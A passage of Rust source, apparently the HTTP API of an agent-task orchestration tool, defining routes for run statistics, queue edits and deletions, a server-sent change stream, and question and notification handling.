5311    /// current config roster no longer lists them. Empty with `?all=true`, an
5312    /// unreadable config, or when nothing was retired.
5313    retired_hidden: Vec<String>,
5314}
5315
5316/// One day of [`StatsView::daily`].
5317#[derive(Debug, Serialize)]
5318struct DailyStatsView {
5319    /// `YYYY-MM-DD`, server-local.
5320    date: String,
5321    runs: usize,
5322    merged: usize,
5323    ready: usize,
5324    other: usize,
5325    /// `None` on a day with no runs, so it never reads as 0%.
5326    completion_rate: Option<RateView>,
5327}
5328
5329impl From<&stats::DayBucket> for DailyStatsView {
5330    fn from(b: &stats::DayBucket) -> Self {
5331        Self {
5332            date: b.date.to_string(),
5333            runs: b.runs,
5334            merged: b.merged,
5335            ready: b.ready,
5336            other: b.other,
5337            completion_rate: RateView::of(b.merged + b.ready, b.runs),
5338        }
5339    }
5340}
5341
5342/// How many days [`StatsView::daily`] covers.
5343const STATS_DAILY_DAYS: usize = 30;
5344
5345/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
5346/// repository. Matched by full-path equality against `RunState.repo` only
5347/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
5348/// `--repo` is, because the value here always came from this same route's
5349/// own `repos` list in an earlier response, never typed by a human. A value
5350/// matching no run is a 404, not an empty aggregate: the caller asked for a
5351/// specific, named repository, and silently returning zeroes would look
5352/// exactly like a repository that has runs but none of interest.
5353#[derive(Debug, Default, Deserialize)]
5354#[serde(default)]
5355struct StatsQuery {
5356    repo: Option<String>,
5357    /// `?all=true` keeps agents that are no longer in the roster.
5358    all: bool,
5359}
5360
5361/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
5362/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
5363/// runs when `?repo=` narrows it), the same counting logic `magi stats`
5364/// prints from. Reads every readable run on disk, exactly as
5365/// [`runs_unreadable`] does, so the two counts can never drift apart the way
5366/// a separately-maintained tally could.
5367async fn stats_get(
5368    State(ui): State<Arc<Ui>>,
5369    Query(q): Query<StatsQuery>,
5370) -> ApiResult<Json<StatsView>> {
5371    blocking(move || {
5372        let states: Vec<RunState> = run_ids(&ui.runs)
5373            .into_iter()
5374            .filter_map(|id| read_run(&ui.runs, &id).ok())
5375            .collect();
5376        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5377            .iter()
5378            .map(RepoSummaryView::from)
5379            .collect();
5380        let mut scoped: Vec<&RunState> = states.iter().collect();
5381        let mut collected = match &q.repo {
5382            Some(repo) => {
5383                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5384                if filtered.is_empty() {
5385                    return Err(ApiError::not_found(format!(
5386                        "no runs recorded against repo `{repo}`"
5387                    )));
5388                }
5389                scoped = filtered.clone();
5390                stats::collect_refs(filtered)
5391            }
5392            None => stats::collect(&states),
5393        };
5394        if !q.all {
5395            let repo = q
5396                .repo
5397                .as_deref()
5398                .map_or_else(|| ui.repo.clone(), PathBuf::from);
5399            stats::retain_current_roster(&mut collected, &repo);
5400        }
5401        let daily = stats::daily(
5402            scoped,
5403            jiff::Zoned::now().date(),
5404            &jiff::tz::TimeZone::system(),
5405            STATS_DAILY_DAYS,
5406        );
5407        let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5408        Ok(Json(StatsView {
5409            totals: StatsTotalsView::from(&collected.totals),
5410            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5411            reviewers: collected
5412                .reviewers
5413                .iter()
5414                .map(ReviewerStatsView::from)
5415                .collect(),
5416            advisors: collected
5417                .advisors
5418                .iter()
5419                .map(AdvisorStatsView::from)
5420                .collect(),
5421            e2e: E2eStatsView::from(&collected.e2e),
5422            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
5423            queue: TaskCountsView::from(queue_counts),
5424            runs_unreadable: runs_unreadable(&ui.runs),
5425            repos,
5426            daily: daily.iter().map(DailyStatsView::from).collect(),
5427            repo: q.repo.clone(),
5428            retired_hidden: collected.retired_hidden.clone(),
5429        }))
5430    })
5431    .await
5432}
5433
5434/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
5435/// gives no reason - which must keep working, since not every hold has one.
5436#[derive(Debug, Default, Deserialize)]
5437#[serde(default, deny_unknown_fields)]
5438struct HoldBody {
5439    reason: Option<String>,
5440}
5441
5442async fn queue_hold(
5443    State(ui): State<Arc<Ui>>,
5444    Path(id): Path<String>,
5445    body: std::result::Result<Json<HoldBody>, JsonRejection>,
5446) -> ApiResult<Json<TaskView>> {
5447    // An absent body is the ordinary case - most holds are unexplained, and
5448    // that has to stay a one-tap action rather than a form. A body that is
5449    // present and malformed is still a bad request.
5450    let body = match body {
5451        Ok(Json(body)) => body,
5452        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
5453        Err(e) => return Err(ApiError::bad_request(e.body_text())),
5454    };
5455    let reason = body.reason.filter(|r| !r.trim().is_empty());
5456    mutate(ui, id, move |t| {
5457        t.hold_manual(reason.clone());
5458        Ok(())
5459    })
5460    .await
5461}
5462
5463async fn queue_release(
5464    State(ui): State<Arc<Ui>>,
5465    Path(id): Path<String>,
5466) -> ApiResult<Json<TaskView>> {
5467    mutate(ui, id, |t| {
5468        t.release();
5469        Ok(())
5470    })
5471    .await
5472}
5473
5474#[derive(Debug, Deserialize)]
5475#[serde(deny_unknown_fields)]
5476struct ImplementersBody {
5477    implementers: u8,
5478}
5479
5480async fn queue_implementers(
5481    State(ui): State<Arc<Ui>>,
5482    Path(id): Path<String>,
5483    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
5484) -> ApiResult<Json<TaskView>> {
5485    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5486    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
5487}
5488
5489/// The body of `POST /api/queue/{id}/priority`.
5490#[derive(Debug, Deserialize)]
5491#[serde(deny_unknown_fields)]
5492struct PriorityBody {
5493    priority: i32,
5494}
5495
5496/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
5497///
5498/// [`Task::set_priority`] is the one place the "not while running" rule is
5499/// stated; this route only carries the body to it and lets its `Err` become
5500/// the 4xx the card shows.
5501async fn queue_priority(
5502    State(ui): State<Arc<Ui>>,
5503    Path(id): Path<String>,
5504    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
5505) -> ApiResult<Json<TaskView>> {
5506    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5507    mutate(ui, id, move |t| t.set_priority(body.priority)).await
5508}
5509
5510/// The body of `POST /api/queue/{id}/edit`.
5511#[derive(Debug, Deserialize)]
5512#[serde(deny_unknown_fields)]
5513struct EditBody {
5514    title: String,
5515    instruction: String,
5516    /// Save even though the new text names a branch, commit or pull request
5517    /// that unfinished work already owns.
5518    #[serde(default)]
5519    force: bool,
5520}
5521
5522/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
5523/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
5524/// that refusal's message is what the sheet shows back.
5525async fn queue_edit(
5526    State(ui): State<Arc<Ui>>,
5527    Path(id): Path<String>,
5528    body: std::result::Result<Json<EditBody>, JsonRejection>,
5529) -> ApiResult<Json<TaskView>> {
5530    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5531    // The judge is an agent call, so it is awaited here, outside the claim
5532    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
5533    // remembered, and the save refuses if the task moved underneath it.
5534    let mut judged: Option<(String, PathBuf)> = None;
5535    if !body.force {
5536        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
5537        let (id, text) = (id.clone(), body.instruction.clone());
5538        let (seen, hits) = blocking(move || {
5539            let id = resolve_task(&queue, &id)?;
5540            let t = queue.get(&id)?;
5541            if text == t.instruction {
5542                return Ok((None, Vec::new()));
5543            }
5544            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
5545            Ok((Some((t.instruction, t.repo)), hits))
5546        })
5547        .await?;
5548        if let Some((_, repo)) = &seen {
5549            let cfg = crate::config::Config::discover(repo, None)
5550                .ok()
5551                .map(|(c, _)| c);
5552            let screened =
5553                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
5554                    .await
5555                    .map_err(|dup| {
5556                        ApiError::conflict(dup.render(
5557                            "Nothing was saved. If it is not a duplicate, repeat the request \
5558                             with \"force\": true.",
5559                        ))
5560                    })?;
5561            if let crate::dupes::Screened::Unjudged(why) = screened {
5562                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
5563            }
5564        }
5565        judged = seen;
5566    }
5567    let force = body.force;
5568    mutate(ui, id, move |t| {
5569        if !force && body.instruction != t.instruction {
5570            match &judged {
5571                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
5572                _ => {
5573                    anyhow::bail!("the task changed while it was being checked; repeat the request")
5574                }
5575            }
5576        }
5577        t.edit(body.title.clone(), body.instruction.clone())
5578    })
5579    .await
5580}
5581
5582/// `POST /api/queue/{id}/done` - close a task as finished without deleting
5583/// it, so the phone's other way to clear a task from the backlog does not
5584/// have to cost the run history, the attribution, and `created_at` the way
5585/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
5586/// can be marked done by hand, because this is for the run the loop never
5587/// saw land - a merge done by hand, or a gate that misreported - and that can
5588/// happen from any status the task was left in.
5589async fn queue_done(
5590    State(ui): State<Arc<Ui>>,
5591    Path(id): Path<String>,
5592) -> ApiResult<Json<TaskView>> {
5593    let home = ui.home.clone();
5594    mutate(ui, id, move |t| {
5595        t.succeed();
5596        // Same as the loop's own settle path: closing a task by hand is just
5597        // as much "this task's story is over" as a daemon-driven `Merged`/
5598        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
5599        // behind must stop looking like it still needs a human. `ui.home`,
5600        // not the process-global `run::home()`: they agree in a real
5601        // process, but only `ui.home` also agrees with a test fixture's own
5602        // directory.
5603        crate::daemon::supersede_prior_runs(t, &home);
5604        Ok(())
5605    })
5606    .await
5607}
5608
5609/// `DELETE /api/queue/{id}`.
5610///
5611/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
5612/// names this task: a `running` status or an orphaned `.lock` left behind by a
5613/// killed daemon is a leftover, and treating either as authority made the
5614/// task undeletable from the phone for good. The associated runs, if any, are
5615/// kept: a run is self-contained history and not an appendage of the task.
5616async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
5617    blocking(move || {
5618        let id = resolve_task(&ui.queue, &id)?;
5619        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
5620        ui.queue
5621            .remove(&id, in_flight, &ui.questions)
5622            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
5623        Ok(StatusCode::NO_CONTENT)
5624    })
5625    .await
5626}
5627
5628/// Read a task, change it, write it back, under the queue's own lock.
5629///
5630/// Taking the same claim a daemon takes is what makes hold, release,
5631/// priority, edit, and done safe to press while magi is running: without it
5632/// the daemon's next save would land on top of the operator's change and
5633/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
5634/// both do, for a running task - and that refusal becomes the 4xx the card
5635/// shows, same as any other domain rule.
5636async fn mutate(
5637    ui: Arc<Ui>,
5638    id: String,
5639    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
5640) -> ApiResult<Json<TaskView>> {
5641    blocking(move || {
5642        let id = resolve_task(&ui.queue, &id)?;
5643        // `claim` fails when the lock file already exists, which is the
5644        // conflict the UI must report: the daemon owns that task's file for
5645        // as long as it is running it, and our write would be lost under its
5646        // next save. The message names the lock either way.
5647        let _claim = ui.queue.claim(&id).map_err(|e| {
5648            ApiError::conflict(format!(
5649                "{e:#} - a daemon is running this task, so it cannot be \
5650                 changed from here yet"
5651            ))
5652        })?;
5653        let mut task = ui.queue.get(&id)?;
5654        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
5655            Ok(dup) => ApiError::conflict(dup.render(
5656                "Nothing was saved. If it is not a duplicate, repeat the request with \
5657                 \"force\": true.",
5658            )),
5659            Err(e) => ApiError::bad_request_from(e),
5660        })?;
5661        ui.queue.put(&mut task)?;
5662        Ok(Json(TaskView::from(task)))
5663    })
5664    .await
5665}
5666
5667/// The change stream: one revision number per store, on connect and whenever
5668/// any of them moves.
5669///
5670/// The poll runs in one spawned task per client, which is affordable because
5671/// the work is a directory scan and a `stat` per file. It stops as soon as the
5672/// receiver is gone, so a phone that walks out of range costs nothing after
5673/// its next tick - there is no session and no cleanup to forget.
5674async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
5675    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
5676    tokio::spawn(async move {
5677        let mut ticker = tokio::time::interval(POLL);
5678        let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
5679        let mut stamps: Option<[Stamps; 3]> = None;
5680        loop {
5681            // The first tick completes immediately, which is what makes the
5682            // stream announce the current revisions on connect.
5683            ticker.tick().await;
5684            let state = Arc::clone(&ui);
5685            let revisions = tokio::task::spawn_blocking(move || {
5686                let stamps = [
5687                    store_stamps(state.queue.root(), false),
5688                    store_stamps(&state.runs, true),
5689                    store_stamps(state.talks.root(), false),
5690                ];
5691                let revisions = (
5692                    stamps_revision(&stamps[0]),
5693                    stamps_revision(&stamps[1]),
5694                    state.questions.revision(),
5695                    stamps_revision(&stamps[2]),
5696                    state.notices.revision(),
5697                    // The loop's counter is in-process state rather than a
5698                    // file, so nothing the three stats above look at would
5699                    // tell this phone that another one started the loop.
5700                    state.lock_loop().rev,
5701                );
5702                (revisions, stamps)
5703            })
5704            .await;
5705            let Ok((revisions, next_stamps)) = revisions else {
5706                break;
5707            };
5708            if last == Some(revisions) {
5709                continue;
5710            }
5711            let mut payload = serde_json::json!({
5712                "queue_rev": revisions.0,
5713                "runs_rev": revisions.1,
5714                "questions_rev": revisions.2,
5715                "talks_rev": revisions.3,
5716                "notifications_rev": revisions.4,
5717                "loop_rev": revisions.5,
5718            });
5719            if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5720                for (index, (key, rev)) in [
5721                    ("queue_delta", base.0),
5722                    ("runs_delta", base.1),
5723                    ("talks_delta", base.3),
5724                ]
5725                .into_iter()
5726                .enumerate()
5727                {
5728                    let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5729                    // Empty diffs may mean a non-file dependency moved. Read whole.
5730                    if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5731                        payload[key] = serde_json::to_value(delta).expect("serializable delta");
5732                    }
5733                }
5734            }
5735            last = Some(revisions);
5736            stamps = Some(next_stamps);
5737            // Giving up beats looping if the receiver is gone.
5738            let Ok(event) = Event::default().event("change").json_data(payload) else {
5739                break;
5740            };
5741            if tx.send(event).await.is_err() {
5742                break;
5743            }
5744        }
5745    });
5746    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5747        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5748}
5749
5750type Stamps = HashMap<String, (u128, u64)>;
5751
5752/// Metadata only: no task instructions or conversation bodies are read here.
5753fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5754    std::fs::read_dir(root)
5755        .into_iter()
5756        .flatten()
5757        .flatten()
5758        .filter_map(|entry| {
5759            let path = if runs {
5760                entry.path().join("run.json")
5761            } else {
5762                entry.path()
5763            };
5764            if !runs && path.extension().is_none_or(|ext| ext != "json") {
5765                return None;
5766            }
5767            let metadata = path.metadata().ok()?;
5768            let modified = metadata
5769                .modified()
5770                .ok()?
5771                .duration_since(std::time::UNIX_EPOCH)
5772                .ok()?;
5773            let id = if runs {
5774                entry.file_name().to_string_lossy().into_owned()
5775            } else {
5776                path.file_stem()?.to_string_lossy().into_owned()
5777            };
5778            Some((id, (modified.as_nanos(), metadata.len())))
5779        })
5780        .collect()
5781}
5782
5783#[derive(Debug, Serialize)]
5784struct Delta {
5785    base: u64,
5786    changed: Vec<String>,
5787    removed: Vec<String>,
5788}
5789
5790fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5791    let mut changed: Vec<_> = next
5792        .iter()
5793        .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5794        .map(|(id, _)| id.clone())
5795        .collect();
5796    let mut removed: Vec<_> = previous
5797        .keys()
5798        .filter(|id| !next.contains_key(*id))
5799        .cloned()
5800        .collect();
5801    changed.sort_unstable();
5802    removed.sort_unstable();
5803    Delta {
5804        base,
5805        changed,
5806        removed,
5807    }
5808}
5809
5810/// Change detection token for recorded runs under `runs`.
5811///
5812/// Combines the id and `run.json` modification time of each run, so adding,
5813/// updating, or deleting any run — even an older one — moves the revision and
5814/// notifies connected clients via the change stream. Returns 0 when no runs
5815/// exist.
5816fn runs_revision(runs: &FsPath) -> u64 {
5817    stamps_revision(&store_stamps(runs, true))
5818}
5819
5820/// Opaque tokens use the exact metadata snapshot behind the delta, in both
5821/// health and SSE. Nanoseconds and length also detect same-millisecond writes
5822/// and deleting an older conversation (a newest-mtime token cannot do that).
5823fn stamps_revision(stamps: &Stamps) -> u64 {
5824    use std::hash::{Hash as _, Hasher as _};
5825    if stamps.is_empty() {
5826        return 0;
5827    }
5828    let mut entries: Vec<_> = stamps.iter().collect();
5829    entries.sort_unstable();
5830    let mut hasher = std::hash::DefaultHasher::new();
5831    entries.hash(&mut hasher);
5832    hasher.finish().max(1)
5833}
5834
5835/// Run ids under `runs`, newest first.
5836///
5837/// Rooted at an explicit directory rather than calling [`run::list_ids`],
5838/// which reads the process-global home: the server has to be drivable against
5839/// a temp directory for any of this to be testable.
5840fn run_ids(runs: &FsPath) -> Vec<String> {
5841    let mut ids: Vec<String> = std::fs::read_dir(runs)
5842        .into_iter()
5843        .flatten()
5844        .flatten()
5845        .filter(|e| e.path().join("run.json").is_file())
5846        .map(|e| e.file_name().to_string_lossy().into_owned())
5847        .collect();
5848    // Ids start with a sortable timestamp.
5849    ids.sort_unstable_by(|a, b| b.cmp(a));
5850    ids
5851}
5852
5853/// Read one run's state from an explicit runs root.
5854fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5855    let path = runs.join(id).join("run.json");
5856    let body =
5857        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5858    let state: RunState =
5859        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5860    // The same migration `RunState::load` applies, so a record from the
5861    // previous schema reads here as it does everywhere else (an origin-less
5862    // run shows as "origin unknown") instead of vanishing from the phone the
5863    // moment the schema is bumped.
5864    run::migrate_schema(state)
5865}
5866
5867/// Runs on disk under `runs` whose state this build cannot parse - almost
5868/// always a schema bump, occasionally a run killed mid-write.
5869///
5870/// Exposed so every surface that reports on runs shares one count instead of
5871/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
5872/// `magi doctor` calls this directly rather than guessing at the same number
5873/// a second way.
5874#[must_use]
5875pub fn runs_unreadable(runs: &FsPath) -> usize {
5876    run_ids(runs)
5877        .into_iter()
5878        .filter(|id| read_run(runs, id).is_err())
5879        .count()
5880}
5881
5882/// Expand an id or short id to exactly one run id.
5883fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5884    if runs.join(id).join("run.json").is_file() {
5885        return Ok(id.to_owned());
5886    }
5887    pick(run_ids(runs), id, "run")
5888}
5889
5890/// Expand an id or short id to exactly one task id.
5891fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5892    if queue.path_of(id).is_file() {
5893        return Ok(id.to_owned());
5894    }
5895    pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5896}
5897
5898/// A question as the phone reads it.
5899///
5900/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
5901/// text already parsed into a node tree so the client never runs its own
5902/// markdown reader over agent-authored prose. A relative image path in it
5903/// resolves against this question's own panel asset route, which is the one
5904/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
5905/// separate, sandboxed document, but `detail` is rendered inline in the
5906/// operator's own page, so an image reference in it may only ever point at
5907/// files magi itself already serves for this question.
5908#[derive(Debug, Serialize)]
5909struct QuestionView {
5910    #[serde(flatten)]
5911    question: Question,
5912    detail_md: Vec<md::Node>,
5913    /// Each thread turn's body, parsed; same order as `question.thread`.
5914    thread_bodies_md: Vec<Vec<md::Node>>,
5915    /// Each thread turn's deputy note, parsed (`None` for a turn without
5916    /// one); same order as `question.thread`.
5917    thread_notes_md: Vec<Option<Vec<md::Node>>>,
5918    /// Is the ball in the agent's court right now?
5919    ///
5920    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
5921    /// [`Question::say`] - so this is the one field that tells the phone to
5922    /// disable the answer controls and show "waiting for the agent" instead of
5923    /// a card the owner can act on. Computed rather than stored on
5924    /// [`Question`] itself, on the same reasoning as `waiting` on
5925    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
5926    /// it here means the client never has to re-derive that rule.
5927    waiting_on_agent: bool,
5928    /// Who is waiting on this open question - see [`holder_of`]. Separate
5929    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
5930    /// anyone is there to take it.
5931    holder: Option<&'static str>,
5932    /// Whether `magi serve` can start a follow-up agent for a conductor
5933    /// question at all: false when `daemon.max_deputies = 0` or the config is
5934    /// unreadable. Separate from `holder`, which says who is listening now.
5935    deputies_enabled: bool,
5936    /// `question.run` is a task id (conductor / triage questions), not a run
5937    /// id, so the UI links it to the task page.
5938    run_is_task: bool,
5939    /// The chat conversation this question's task came from, when the owner
5940    /// may hand the question to it - see [`crate::consult::origin_talk`]. The
5941    /// UI offers "Ask the chat agent" only when this is set; it is never one
5942    /// of `question.choices`.
5943    origin_chat: Option<String>,
5944    /// `origin_chat` is closed; consulting reopens it first.
5945    origin_chat_closed: bool,
5946}
5947
5948impl QuestionView {
5949    /// The view of `question`, reading who is waiting on it from `store`.
5950    ///
5951    /// `holder` needs the lease sidecar, which is why this is not a `From`.
5952    fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5953        let base = md::ImageBase::QuestionPanel {
5954            id: question.id.clone(),
5955        };
5956        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5957        Self {
5958            detail_md: md::to_nodes(&question.detail, &base),
5959            thread_bodies_md: question
5960                .thread
5961                .iter()
5962                .map(|t| md::to_nodes(&t.body, &base))
5963                .collect(),
5964            thread_notes_md: question
5965                .thread
5966                .iter()
5967                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
5968                .collect(),
5969            waiting_on_agent: question.waiting_on_agent(),
5970            holder,
5971            deputies_enabled,
5972            run_is_task: question.run_names_task(),
5973            origin_chat: None,
5974            origin_chat_closed: false,
5975            question,
5976        }
5977    }
5978
5979    /// Fill `origin_chat` from the queue and the talks.
5980    fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
5981        let talk = crate::consult::origin_talk(tasks, talks, &self.question);
5982        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
5983        self.origin_chat = talk.map(|t| t.id);
5984        self
5985    }
5986}
5987
5988/// The config this repository resolves, or `None` when it cannot be read.
5989/// Discovering is git processes plus a config render, so a request that needs
5990/// it for many items takes it once and passes it down.
5991fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5992    Config::discover(repo, None).ok().map(|(c, _)| c)
5993}
5994
5995/// Can `magi serve` start a deputy for this question under `cfg`?
5996fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5997    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5998}
5999
6000/// The views `GET /api/questions` answers. `load` runs at most once, however
6001/// many questions there are, and not at all when there are none.
6002fn question_views(
6003    qs: Vec<Question>,
6004    store: &ask::Questions,
6005    load: impl FnOnce() -> Option<Config>,
6006) -> Vec<QuestionView> {
6007    if qs.is_empty() {
6008        return Vec::new();
6009    }
6010    let cfg = load();
6011    qs.into_iter()
6012        .map(|q| {
6013            let on = deputies_enabled(cfg.as_ref(), &q);
6014            QuestionView::of(q, store, on)
6015        })
6016        .collect()
6017}
6018
6019/// Who is honestly waiting on an open question right now: `"asker"` (the
6020/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
6021/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
6022/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
6023/// up, or the question never had anyone listening (a conductor question or a
6024/// merge approval from before deputies, or not yet given one).
6025///
6026/// `None` for a question that is settled, and for one that is not an agent's
6027/// to wait on at all (a release notice).
6028fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
6029    if !q.status.open() {
6030        return None;
6031    }
6032    if q.cwd.is_none() && q.deputy.is_none() {
6033        return crate::deputy::kind_of(q).map(|_| "nobody");
6034    }
6035    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
6036        Some(_) if q.deputy.is_some() => "deputy",
6037        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
6038        Some(_) => "asker",
6039        None => "nobody",
6040    })
6041}
6042
6043/// `GET /api/questions`.
6044///
6045/// Everything, not just the open ones: an answered question is the record of a
6046/// decision, and the phone is where the operator goes back to check what they
6047/// told an agent at 3am. `ask::Questions::list` already ranks open first.
6048async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
6049    blocking(move || {
6050        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6051        Ok(Json(
6052            question_views(ui.questions.list(), &ui.questions, || {
6053                deputy_config(&ui.repo)
6054            })
6055            .into_iter()
6056            .map(|v| v.with_origin(&tasks, &talks))
6057            .collect(),
6058        ))
6059    })
6060    .await
6061}
6062
6063/// `GET /api/notifications`: not dismissed, newest first, with the unread
6064/// count so the badge and the list cannot disagree.
6065async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6066    blocking(move || {
6067        let items = ui.notices.list();
6068        let unread = items.iter().filter(|n| n.unread()).count();
6069        Ok(Json(
6070            serde_json::json!({ "unread": unread, "items": items }),
6071        ))
6072    })
6073    .await
6074}
6075
6076fn notice_error(e: anyhow::Error) -> ApiError {
6077    // An unknown or malformed id and a vanished file are the same answer to
6078    // the phone: that notification is gone.
6079    ApiError::not_found(format!("{e:#}"))
6080}
6081
6082/// `POST /api/notifications/{id}/read`.
6083async fn notification_read(
6084    State(ui): State<Arc<Ui>>,
6085    Path(id): Path<String>,
6086) -> ApiResult<Json<Notice>> {
6087    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
6088}
6089
6090/// `POST /api/notifications/{id}/dismiss`.
6091async fn notification_dismiss(
6092    State(ui): State<Arc<Ui>>,
6093    Path(id): Path<String>,
6094) -> ApiResult<Json<Notice>> {
6095    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
6096}
6097
6098/// `POST /api/notifications/read-all`.
6099async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6100    blocking(move || {
6101        let changed = ui.notices.mark_all_read()?;
6102        Ok(Json(serde_json::json!({ "marked": changed })))
6103    })
6104    .await
6105}
6106
6107/// The body of `POST /api/questions/{id}/answer`.
6108///
6109/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
6110/// a bad request rather than a guess: an answer magi invented is worse than a
6111/// question left open.
6112#[derive(Debug, Default, Deserialize)]
6113#[serde(default, deny_unknown_fields)]
6114struct NewAnswer {
6115    choice: Option<String>,
6116    text: Option<String>,
6117}
6118
6119async fn question_answer(
6120    State(ui): State<Arc<Ui>>,
6121    Path(id): Path<String>,
6122    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
6123) -> ApiResult<Json<QuestionView>> {
6124    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6125    let answer = match (body.choice, body.text) {
6126        (Some(c), None) => Answer::Choice(c),
6127        (None, Some(t)) => Answer::Text(t),
6128        (Some(_), Some(_)) => {
6129            return Err(ApiError::bad_request(
6130                "send either `choice` or `text`, not both",
6131            ));
6132        }
6133        (None, None) => {
6134            return Err(ApiError::bad_request("send a `choice` or a `text`"));
6135        }
6136    };
6137
6138    blocking(move || {
6139        let id = resolve_question(&ui.questions, &id)?;
6140        let q = ui
6141            .questions
6142            .get(&id)
6143            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6144        if !q.status.open() {
6145            // Answered from the terminal, or by another phone, in between the
6146            // list and the tap. The UI shows the recorded answer rather than an
6147            // error, so it needs the record, not just the status.
6148            return Err(ApiError::conflict(format!(
6149                "question {} is already {}",
6150                q.short(),
6151                q.status.as_str()
6152            )));
6153        }
6154        // `Question::answer` owns the rules - an unoffered choice, free text on
6155        // a multiple-choice question, an empty reply - so the route does not
6156        // restate them and cannot drift from the CLI's behaviour.
6157        let (q, ()) = ui
6158            .questions
6159            .update(&q.id, |r| r.answer(answer))
6160            .map_err(ApiError::bad_request_from)?;
6161        let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6162        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6163        Ok(Json(
6164            QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6165        ))
6166    })
6167    .await
6168}
6169
6170/// The body of `POST /api/questions/{id}/say`.
6171#[derive(Debug, Deserialize)]
6172#[serde(deny_unknown_fields)]
6173struct NewSay {
6174    body: String,
6175}
6176
6177/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
6178///
6179/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
6180/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
6181/// file, so there is no turn to serialize against and no
